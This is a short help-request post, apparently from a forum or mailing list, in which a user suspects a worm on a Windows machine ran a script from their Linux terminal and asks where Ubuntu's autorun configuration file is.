Since my Intranet is already behind a (Suse) firewall, I was wondering
if (either it was invaded or) a worm residing on another (Win) desktop
could take control of my (Linux) terminal and run this script to try
install itself in the Win environment. Since it apparently happened in
two different ocasions, it looks like an autorun script. Could you tell
me where to find the autorun config file in Ubuntu?
Tks for the answer, cj.
